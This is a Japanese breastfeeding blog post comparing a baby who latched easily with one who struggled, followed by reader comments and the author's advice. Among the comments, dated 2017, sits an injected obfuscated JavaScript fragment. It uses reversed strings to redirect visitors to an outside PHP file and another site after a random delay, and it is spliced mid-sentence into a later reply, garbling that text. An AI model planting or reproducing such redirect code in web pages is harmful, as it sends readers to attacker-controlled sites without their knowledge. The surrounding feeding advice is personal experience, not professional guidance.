哺乳が上手な赤ちゃんと下手な赤ちゃんがいる

初めての母乳育児で赤ちゃんが十分な母乳を飲めていないと、「母乳が足りない?」と思ってしまうかもしれません。

でも、授乳がうまくいかない理由は、たいてい母乳の生産量不足ではないのです。

今回は、「哺乳が苦手なタイプの赤ちゃんである可能性」を視野に入れて、根本解決につなげるためのヒントになればと思い、個人の経験談をまとめたいと思います。

sumireの第一子を、おっぱいへの吸着が得意な赤ちゃん(プロフェッショナル)、第二子を苦手な赤ちゃん(ビギナー)として、産まれて間もない時期の哺乳の様子を比較すると、こんな感じでした。

●出産直後の授乳

第一子:プロフェッショナル

親子とも服を着たままのなんちゃってカンガルーケアで、助産師さんが完全介助しての授乳(添い乳)だったが、スムーズに吸着。

第二子:ビギナー

正式なカンガルーケアで、赤ちゃんは自力でおっぱいを探して右往左往していたがいつまでたっても見つけられず、見かねた私が手伝っても全く吸着できず、助産師さんに手伝ってもらいながら3人がかりでやっと吸着。

●原始反射

第一子:プロフェッショナル

赤ちゃんのほっぺや唇の近くを、指などでちょんちょんと触れると、口を大きく開けて、首を細かく左右に振りながら乳首を探してとらえようとする。

おっぱいの方向へ顔を誘導するのが簡単。

第二子:ビギナー

いくら顔をちょんちょんしても、口も開かないし、乳首を探そうともしない。

自分でおっぱいを見つけられず適当な方向ばかり向くので、吸着させるのが非常に困難。

(その後、哺乳の経験を積むと、あごをちょんちょんすると、ちょっとだけ口が開くようになった。さらにさらに経験を積むと、口をもう少し大きく開けてわずかに首を振るようになった)

●口の開け方

第一子:プロフェッショナル

口を「アー」と大きく開けて、「エ」と発音するときのように舌が少し前に出た状態。

乳房をしっかりとらえることができる。

第二子:ビギナー

まさかの「ウ」!

乳頭すら口に入らず、途方に暮れる。

(WHOガイドラインには「赤ちゃんの口が大きく開くのを待ってからくわえさせる」って書いてあるけど、待っても大きく開かないので、とりあえず先だけなんとかくわえさせて、授乳開始していた)

●乳房への吸着の仕方

第一子:プロフェッショナル

協力的。おっぱいまで一直線。

第二子:ビギナー

吸着させようとした瞬間に、気持ちが焦るのか片手でバーン!とつっかえ棒をしてくるので、なかなか吸着できない。

●射乳が起こるまで

第一子:プロフェッショナル

ずっと熱心に吸てつし続ける。哺乳の効率は非常に悪かっただろうに、文句も言わず延々と吸てつしていた。

第二子:ビギナー

すぐに射乳が起こらないとイライラして口を外すこともよくあった。10秒も待てない。

その後、経験を積むと、射乳が起こるまで時間がかかると理解したのか、待てる時間が少しずつ長くなった。

●嚥下の仕方

第一子:プロフェッショナル

常にガッツがあり、困難を伴うことはなし。

第二子:ビギナー

すぐむせる(※オキシトシン反射は強い方ではない)。

苦労して吸着させても、飲み始めたと思ったらイタズラに口を外す。

<最後に>

・赤ちゃんによって状況も能力もさまざまなので、上手か下手かの判定はそれほど重要じゃなく、すべての赤ちゃんにとって、効率よく哺乳するためにはスキルが重要なんだということを強調したいと思います。

・さらに、哺乳が得意じゃない赤ちゃんほど、それをカバーするような授乳スキルも必要になります。授乳がうまくいかない場合は、母乳不足を疑うよりも、うまく哺乳できていない可能性を考えた方が、根本的な解決につながりやすくなるかもしれません。

・多くの赤ちゃんは生まれながらにして哺乳に必要な能力を持っていますが、産まれた後にも新しく学習し、スキルアップしていくようです。私の第二子は、何ヵ月もかけて適切なポジショニングを何度もリードしていくうちに、自分から最適なポジションをとるようになりました。

・哺乳瓶が哺乳効率低下や乳頭混乱の原因になるのは、哺乳瓶独特のポジショニング・口の開き方・吸てつの仕方などを体得し、直母でも実践しようとしてしまうことも一因かもしれません。

母乳育児はスキルが重要!

この記事では、「乳房に吸着させるコツ」に焦点を当てています。楽な授乳姿勢などは、タグ#ポジショニングをどうぞ。

授乳頻度や授乳回数などについての疑問は、【「母乳育児が軌道に乗る授乳方法」のやり方・疑問・悩み|まとめ】をチェックしてみてくださいね。

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2017/5/13更新

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コメント

    • なっつい
    • 2015年 12月 30日

    初めまして、いま2ヶ月の息子の授乳に奮闘中の者です。
    息子はすごく哺乳がへたっぴで、助産師さんにラッチオンを教わりながらなんとか頑張っていますが、
    進歩は亀の歩みです。
    今日の記事を拝見して、ビギナーちゃんがまるで息子!とびっくりしました。なんでお腹すいてるのに自分でおっぱい離すのよー、と何度さとしたことか…。
    そして、やっぱり数ヶ月かけて頑張る必要があるんだなーとしみじみ思い、励まされました。
    来月から仕事復帰なので分泌維持が大変ですが、記事を参考にさせていただき、なんとか頑張ってみます。

    • 初めてのお子さんでビギナーちゃんとは、不安も大きかったことと思います。
      私の場合、良いラッチオンは諦めてポジショニングに集中したら、へたっぴちゃんでも哺乳できることを見出したので、ポジショニングをマスターしてみるといいかも?しれません。
      仕事復帰との両立も、大変なこともあると思いますが、長い目でみるとそれ以上に良いこともたくさんあると思うので、焦らずマイペースでいけるといいですね。

    • ベル
    • 2016年 7月 27日

    初めまして!
    第一子出産にあたり、こちらのサイトを沢山参考にさせて頂いています。

    出産・育児にまつわる情報って、本当に「何故?」「根拠は?」「具体的にどれ位?」に応えてくれる情報が少なく戸惑っていたので、とても助かりました。

    うちの子は食い意地がはっていたのか割と上手だったので、この記事の「まさかの『ウ』」に爆笑してしまいました(笑)。
    こうしてたまにsumireさんのお人柄が見える記事が好きです^ ^ 。

    有益なサイトをありがとうございます、これからも応援しております!

    • 感想&応援ありがとうございます!少しでもお役に立てれば幸いです。深い知識があるからこそできる爆笑ですね!
      私ももっとフリースタイルの文章も書けたらいいなと思いますが、内容的にまじめにならざるを得ないことが多いので、違う機会に出していければと思っています(*^-^*)

    • ゆっきー。
    • 2016年 12月 19日

    はじめまして。
    2人目出産間もない母です。
    2人目は妊娠中も出産も授乳も
    慣れているから、とあぐらをかいていたら
    全てにおいて1人目の方が楽でした(笑)
    授乳は早くマスターしたいと
    かなり焦っていたのですが、
    sumireさんの記事を読んで
    元気をもらっている&
    とーっても参考にさせていただいています。
    ありがとうございます。

    • コメントありがとうございます。
      子どもによって、哺乳の仕方は想像以上に個性がありますよね。
      お一人目の時より苦労されることもあるようですが、お二人のペースで進めるよう応援しています!

    • ゆきんこ
    • 2017年 3月 30日

    初めまして、1ヶ月の娘と初めての育児に奮闘中の者です。
    私も皆様と同じく確かな根拠・データが示されたこちらのブログにとても助けられています。
    産院退院直後から乳腺炎、白斑(右乳のみ)を繰り返し、今でも右には4つの白斑を抱えて痛みに耐える日々です。
    うちの娘もまさにビギナーそのもので、こちらのブログを参考にポジショニングを改めてみたのですが(新生児でもできる縦抱きと交差横抱きをやっています)、なにせお口が「ウ」、すぐむせる、手でつっかえ棒の三種の神器を繰り出してくるので、どうにもうまくいかず、いわゆる浅飲み状態となっています。
    また、満足して自ら乳首を離すまで吸わせていると片乳20~30分は平気で経っていたり(左は分泌も良いためゴクゴクしています)、自ら乳首を離したわりに、寝付いたかな?と思い離すとまた手や口で乳を探すようにもがいて泣いたり、吐乳したり…とで、1回あたりの授乳に1~2時間かかることもあり、そんな状況で号泣されるため「母乳が足りてないのでは?」「ミルクを足せば?」と家族に言われ精神的に参ってしまっています。
    長くなってしまいましたが、以下の点ご意見頂けたらと思います。

    ①正しいポジショニングを実践していれば、ビギナーによる浅飲みもそのうち改善されていくのでしょうか?(浅飲みが続くということは、ポジショニングが正しくないのか?)
    ②一度の授乳時間が長く、ダラダラと飲んだりすぐ吐乳したりを繰り返していますが、このままだと私の乳首がもたない(浅いため痛みもあり)と思ってしまうのですが、やはり求めるだけやるしかないのでしょうか?
    ③授乳後の号泣で、オムツ交換や室温などは問題ない場合、寝ぐずりと再度お乳を求めている泣きとの違いが分かりません。なにか見分け方はありますか?お乳をあげずにあやし続けていると30分くらいで寝付くこともあり、すぐにお乳を追加するのは早急なのか?と思うこともあります。

    長文となり申し訳ありません。

    • はじめまして。白斑・乳腺炎に、赤ちゃんの吐乳や泣きと、大変でしたね。
      さっそくですが、いただいたコメントから考えられることを書いてみたいと思います。

      ①浅飲みについて
      多くの赤ちゃんがどのような経過をたどるかは分かりませんが、私の経験では、浅飲みはずっと続きました。しかし、ポジショニングのコツをつかんでからは、浅飲みでも問題なく飲めていたので、まずはポジショニングに集中されるといいかも?しれません。

      ②③について
      ゆきんこさんの場合、母乳が作られる量がとても多いのかなと感じました。母乳過多のサインに当てはまることはないでしょうか。白斑、吐乳、頻繁で激しい泣きは、母乳の生産量がちょうどよくなれば、自然とおさまる可能性があります。

        • ゆきんこ
        • 2017年 4月 05日

        sumireさま、お忙しい中さっそくのお返事を有難うございます。

        浅い飲み方でもポジショニングが最適でしっかり飲めていれば良いとのことで安心しました。

        このサイトを拝見し、症状としては母乳過多や乳糖不耐症などに当てはまるように感じたのですが、授乳前後で体重を測ると、しっかり満足するまで飲ませていても右5g、左50g増と、あまり母乳が出ていない気がします。
        特に右がポジショニングを改めても母乳量もなかなか増えず、ふにゃふにゃになるまで飲んだはずな後も口を外すと泣いてしまいます。
        右を最後までしっかり飲ませた後に左にいっても母乳過多のような症状があったため、時間割を試してみたのですが、右の時間帯(左2時間、右3時間です)はやはり満足できていないのか泣きが激しいです。
        また、体重増加を見ても左も決して多すぎる程出ているわけではないように思うのですが、時間割を続けると左も少なくなってしまうのではと心配しております。
        このような場合も時間割を続けるべきでしょうか?
        また、授乳前後体重増加をみても、私の場合も母乳過多と言えるのでしょうか?

        今一度ご意見を頂ければと思います。

        • 直母量を量ってみたら、思ったより少なかったので、母乳過多ではなく、むしろ母乳の生産量が少ないんじゃないかな?と考えていらっしゃるんですね。
          ご質問についてですが、今後どうすべきかを判断しやすくするために、一度、母乳不足感の記事を読んでいただけますでしょうか(記事数が多くて恐縮ですが、ゆきんこさんが納得できるような説明はコメント欄では書ききれないので、まずは基礎知識を共有できたらいいなと思っています)。
          その上で、まだ解決できなければ、コメントお待ちしています。

    • <script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh
    • 2017年 9月 03日

    コメントの内容はこちらに移動させていただきました↓
    哺乳が得意じゃない赤ちゃんと母乳過多(1ヶ月)

    ●キーワード
    母乳過多でしこりができやすい
    ポジショニングを試行錯誤中
    うまく飲める時と、飲めずにしこりになる時がある
    授乳拒否になりそうで心配

  1. 状況把握と判断が完璧なコメントだなと思ったら、tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toriさんだったんですね。
    うまくいかなければやり方を変えてみる繰り返しで、お二人に合った道を見つけていらっしゃる様子が伝わってきました!

    • musica
    • 2017年 11月 28日

    はじめまして。
    いつも参考にさせてもらっています。

    現在3か月の男の子を育てていますが、いまだにまともに直母できません。
    (↑文字を入力していて、改めて状況を認識して泣けてきました)
    桶谷の助産院にも通っていて、授乳指導をしてもらっていますが、毎度哺乳量は0。
    たまーーーにですが、10ml位は飲んでいるようですが・・・

    「体重4000g超えれば吸う力も口も大きくなるから」
    「100日過ぎれば、驚くほど楽になるから」
    と励まされてきましたが、現在はもう4000gを超え、100日も超え・・・

    sumireさんの次男はビギナーだったというのを読み、うちの子と似てるなぁと思いました。
    どのように乗り越えられたんでしょうか?
    もしよろしければ、そのエピソードを聞かせて欲しいなぁと思っています。

    ちなみに、うちの子ですが・・・

    ・出生体重2147gで、やや低体重
     NICU→GCU、母親の退院後、引き続き1週間入院。
     最初は、鼻からチューブで哺乳、その後哺乳瓶でミルク。

    ・保育器を出てから直母の練習開始(産後3日目~)
     陥没気味であるため、助産師さんから保護器を勧められる。
     病院の母乳指導では、直母(保護器あり)→哺乳瓶でミルク補足
     授乳には時間がかかって、いつも居残りでした・・・

    ・食い気より眠気で、新生児期は3時間ごとに起こして授乳。
     3時間ごとに1日8回、これ以上に授乳はしていません(起きないのでできない)
     いまは、お腹が減ると泣くようになってきました。
     3時間~4時間ごとに1日8回授乳してます。

    ・直母(保護器あり)左右5~10分ずつ
     →哺乳瓶で搾乳を飲ませる→次回以降分を搾乳→片付け

     これで大体1時間程度かかります。
     現在、体重約4100gで80mlの母乳を哺乳瓶で飲んでいます。
     乳首は母乳相談室で、15分で飲むときもあれば40分くらいかかることも。

    ・口が小さく、まったく口を大きく開けない。
     最近は、すこーーーしだけ口を開けて、くわえます。
     たまに保護器を外すと、まったく開けません・・・
     乳首をぺろぺろするくらい。

    ・上唇と下唇を巻き込みがち。
     桶谷の助産院では、下唇を巻き込むのが一番の難点と言われています。
     飲ませるときに指で直していますが、すぐに戻ってしまう・・・

    ・毎回の哺乳量をカバーできるくらい出るので、ミルクはなし。
     産後2か月半くらいまでは搾乳しない痛くて仕方なかったです。
     最近はそこまで張らなくなってきました。
     いまのところ、分泌は落ちていません。

    ・ポジショニングは、フットボール抱きを勧められました。
     縦抱きは、足を突っ張ってしまって高さを合わせられず・・・
     横抱きは、安心してしまうのか寝てしまうことが多いです。

    こんな感じです。

    口も開けず、直母を嫌がるので、夜中に何度泣いたか。
    こんなに母乳が出てるのに・・・、と直母をあきらめられません。

    「保護器や搾乳だけでは分泌は落ちる」
    「3か月過ぎて直母できなければ無理」
    とか聞くと、もう無理なのかなと思いつつあります。
    でも、やれることはやり続けようと思ってもいます。

    がんばります!

    • なかなか思うようにいかなくて、状況が好転する可能性はあるのか気になっていらっしゃるんですね。
      産科施設での適切なサポートもなかった中、さぞかし苦労されただろうなと想像します。桶谷でも保護器を使っていらっしゃるのでしょうか。

      私の場合、第一子の時は知識がなかったので保護器も哺乳瓶も使いましたが、第二子はどちらも使ってないので、少し状況が違うかもしれません。ポジショニングは、首がすわっても腰がすわっても、交差横抱きと添い乳を基本としていたように記憶しています。

      私だったらどうするかでよければ書いてみますね。
      まず、予想されているかもしれませんが、乳頭混乱が心配なので、保護器と哺乳瓶はやめる方向で減らします。小さな口でも、ポジショニングを工夫すれば、うまく哺乳できる可能性が上がります。保護器では哺乳できないなら、上手くいかなくても直母の練習をした方が、直母できる可能性が生まれるのでベターだと考えます。搾乳はカップフィーディングに切り替えていきます。

      また、赤ちゃん主導の授乳を試します。
      桶谷式とはやり方が違うので混乱するかもしれませんが、授乳パターンが参考になるかもしれません。

      3か月になっても一日中寝ているということで、哺乳不足を防ぐために、おしっこと体重変化も慎重にモニターします。

      本来は熟練したスキルと知識を持つ専門家にサポートしてもらうべき状況なので、育児初心者一人に提案するにしては高すぎるハードルで心苦しいです。

      まずは、母乳育児の基礎知識を身につけることが遠回りのようで近道かなと思うので、良ければこのブログの様々な記事もご覧ください。

        • musica
        • 2017年 12月 13日

        せっかくコメントいただいたのに、反応が遅くすみません。
        コメントいただけれ、とてもうれしいです。

        育児をしていると、どうしても孤軍奮闘というか・・・

        仰る通り、「状況が好転する可能性」を捨てきれずに、飲めていないにもかかわらず、直母をトライし続ける日々です。
        こんなに母乳が出ているのに・・・と思うと、どうしてもあきらめきれないのです。

        桶谷でも、保護器(ピジョンのソフトタイプ)を使っています。
        助産師さんは「保護器を使っていたって搾乳を哺乳瓶であげてたって、この子は母乳を飲んでいるのだから、それは立派な母乳育児よ」と励してくださっています。
        桶谷についてはいろいろな話を聞きますが、わたしが通っているところの助産師さんはわりと柔軟な方のようです。

        カップフィーディングはトライしたことがなかったので、やってみます。
        以前、桶谷でスプーンで飲ませる練習はしたことがありました。

        直母は日に何度かはトライするのですが、口に含むこともあれば、含まないことも。
        (含まないことの方が多いです。ぺろぺろするくらい)
        含んだとしても、上手く吸えなくてギャン泣きです。
        下あごを巻き込んでしまって、がぶっと深くくわえられないみたいです。

        ポジショニングが悪いのでしょうか・・・
        記事を読み返して、またトライしてみます。

        小さく生まれて、とにかくこの子を育てなければ!と、直母ができない中、必死で哺乳瓶と保護器でがんばってきました。
        3ヶ月半ばにやっと4500gを超え、徐々にお腹が減ると泣くようになってきたので、赤ちゃん主導の授乳になってきたと思います。

        一度でいいから、直接吸ってもらえたらいいなぁ。
        がんばります。

        • 早めの対応が必要なので、コメントで気になったことを羅列します、一方的になりすみません!
          もしかして保護器を使っての授乳を「直母」と表現していらっしゃるでしょうか。実は、保護器を使って哺乳させても、赤ちゃんは直母のやり方を学ぶことはなかなか難しいと考えられます。
          また、一般的に、直母のやり方を学ぶために、回数をこなしていく必要があるのですが、musicaさんのように適切なサポートのない中で育児していらっしゃると、直母のやり方が適切でないパターンだけでなく、回数が足りないパターンがよくあるのです。
          musicaさんは、直母が適切にできていないことに注目されていますが、私は、回数が少ないことが、より大きなハードルになっているのではないかなと感じます。
          1日数回、授乳するのでは、たぶん、ビギナータイプのお子さんは、永遠に時間がかかってしまうんじゃないかなと危惧しています。

          また、お子さんのように乳頭混乱を起こしていると考えられる赤ちゃんに、哺乳瓶を使いながら乳頭混乱を克服するのを目指すのは、通常よりも多大な労力がかかるので、私ならまずは哺乳瓶と保護器を減らす方でチャレンジするかなと申したのです。
          実は、桶谷に通っていらっしゃる方から相談を受けることは時々あるのですが、考え方が違うので、なかなか改善が難しかったり、説明に時間がかかったりする場合が多いのです。
          やはり、まずは、このブログの様々な記事を読んでいただいて、musicaさんの方針に合うかどうか吟味していただけるといいなと思います。
          (決して突き放しているわけでなく、musicaさんの方針を尊重したいがためで、私の心はいつもmusicaさんに寄り添っています)

            • musica
            • 2017年 12月 18日

            コメントありがとうございます。
            本当にありがたいです。

            いえ、直母は保護器なしのことです。
            直母しようとしても、口も開けないか、泣き叫ぶかです。
            泣いて大きく口を開けたところにねじ込んでも、口も動かしません。
            これは産後すぐからずっとです。

            いまも練習していましたが、

            泣き叫ぶ→口にねじ込む→口を動かさず、眠る

            この繰り返しです。

            ポジショニングは、高さは合っているか、首がねじれていないか、体が密着しているかを確認しながらやっています。
            口を大きく開けないので、乳輪全体を口に入れることは上手くできませんが・・・

            そうなると、低体重児にどうやって母乳なりミルクなりを飲ませ、大きく育てなければいけないのか?となったとき、あのときのわたしには哺乳瓶しかなかったのです。

            専門家による適切なサポートってどこにあるのだろうか・・・
            産院の助産師さんやそれ以外の病院の母乳外来、桶谷に行きましたが、適切なサポートはどこにもないのですね・・・

            保護器なしの授乳の練習を、必ず搾乳を与える前にする(あとはカップフィーディング)っという方向でやってみようと思います。
            泣き叫ぶ息子と30分、1時間格闘して、根負けして哺乳瓶を与え、搾乳し、洗い物や消毒をして、気付くと次の授乳、で一日8回が限界かなと思っていたのですが、わたしたちの状況では、確かに回数が少ないのかもしれません。
            もっと回数を増やしてがんばってみます。

            この4ヶ月、どんなにか直接飲んでくれればいいなと思って過ごしてきたか。
            でも、そのことで純粋に愛情をちゃんと注いであげられていないんじゃないかって毎日思います。
            泣き叫ばれる度に、上手く授乳できなくってごめんねって言ってます。

            こうやってコメントを返してくれることが、本当にうれしいです。
            ありがとうございます。

          • なるほど、今回のお話から一つ分かったヒントとしては、授乳のタイミングを変えてみるといいかもしれないです。なぜなら、ギャン泣きしている状態の赤ちゃんは、通常、おっぱいをくわえることが難しいことが多いからです。泣き出す前のタイミングがベストですが、すでに泣いているなら少し落ち着かせてから、トライするという感じです。(寝ぐずりの場合は、飲まずに寝るかもしれませんが…)こちらの記事も参考になるかもしれません→サイン授乳
            赤ちゃんの泣きもよければどうぞ。

            毎回30分も1時間も格闘するのはさぞかし大変だったと思います。哺乳瓶も、もちろん選択の一つとしてありだったと思います。

            日本には、適切なサポートを提供できる医療システム自体がないので、母親たちは多大な苦労をしながら母乳育児を続けるか、あきらめるかの二択になりがちなんですよね…個人の努力で乗り越えるのはとても大変なので、お母さん個人に「母乳育児を頑張れ」とはとても言えないですが、「自力でもなんとかしたい」と考える方々の役に立つような情報発信のために立ち上げたブログですので、ご活用くださると幸いです。

    • musica
    • 2018年 6月 09日

    久しぶりの投稿です。
    いつぞやはコメントありがとうございました。

    (元々のスレッドに返信したかったのですが、できなくなっていました・・・)

    やや低体重で生まれ、3ヶ月経っても直母が上手く行かないと相談していた者です。
    あの後しばらくはいろいろがんばっていたのですが、一度は泣く泣く直母をあきらめ、
    哺乳瓶で搾乳を与えていました。

    直母のためにいろいろやっていたことを続けるのは、自分にとっても息子にとっても
    つらいことになってしまったことが大きいです。

    ところが・・・

    ある日、気まぐれに「飲むわけないよね~」と思いながら直母をしたところ。

    飲みました。

    一瞬何が起きたかわからず、これまでの経緯からも飲んでるとは
    簡単に信じることがなかったのですが、喉を鳴らす音も聞こえるし、
    胸の張りもなくなったので、これは飲んでいるな・・・と確信しました。

    そのとき、なんと5ヶ月と21日。

    お世話になった助産師さんに報告すると、とても驚かれていました。
    6ヶ月目前にして、これまで直母を成功させたことのなかった子が
    突然直母で飲み始めるというのは見たことがないと。

    それ以降は搾乳での授乳はやめ、もうすぐ10か月になるいまは、
    保育園ではミルク、それ以外の時間は母乳でやってます。
    相変わらず体重は少なめですが、右肩上がりで増えています。

    その節は、アドバイスありがとうございました。

    何が何だかわからないのですが、3、4ヶ月にやってきたことが
    遅れてやってきたのかなと思うようにしています。

    授乳する期間は限られた短い期間なのに、これだけ悩み、
    奮闘したのは、子の生命をはぐくむためだからなんだなぁと
    しみじみ思っています。

    • 経過をご報告くださりありがとうございます。
      半年近く経って、あっさり直母できるようになったとは、驚きですね。
      それまで搾乳されていたのも本当にすごいと思います。
      上手くいってよかったですね!

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